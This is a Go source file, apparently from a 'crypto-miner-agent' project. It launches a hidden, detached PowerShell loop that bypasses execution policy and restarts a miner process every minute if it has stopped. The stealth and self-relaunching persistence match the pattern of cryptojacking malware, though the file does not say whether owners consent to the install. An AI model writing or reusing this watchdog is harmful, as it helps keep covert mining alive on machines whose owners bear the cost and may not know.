//go:build windows

package deploy

import (
	"fmt"
	"os/exec"
	"strings"

	"crypto-miner-agent/config"
)

// launchProcessGuard spawns a hidden PowerShell loop that watches for the
// installed miner process by name and relaunches it if it disappears.
// The guardian runs completely outside this process — it survives a crash.
func launchProcessGuard(cfg config.RuntimeConfig) {
	installDir, err := cfg.InstallDirectory()
	if err != nil {
		return
	}
	binPath := strings.ReplaceAll(fmt.Sprintf(`%s\%s`, installDir, BinaryName(cfg)), `'`, `''`)
	procName := strings.TrimSuffix(BinaryName(cfg), ".exe")

	// Loop every 60 s. If the process is gone and the binary still exists, restart it.
	ps := fmt.Sprintf(`
$bin  = '%s'
$proc = '%s'
while ($true) {
    Start-Sleep -Seconds 60
    if (-not (Get-Process -Name $proc -ErrorAction SilentlyContinue)) {
        if (Test-Path $bin) {
            Start-Process $bin -ArgumentList '--run' -WindowStyle Hidden -ErrorAction SilentlyContinue
        }
    }
}
`, binPath, procName)

	cmd := exec.Command("powershell",
		"-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden",
		"-Command", ps)
	applyDetachedStart(cmd)
	_ = cmd.Start()
}
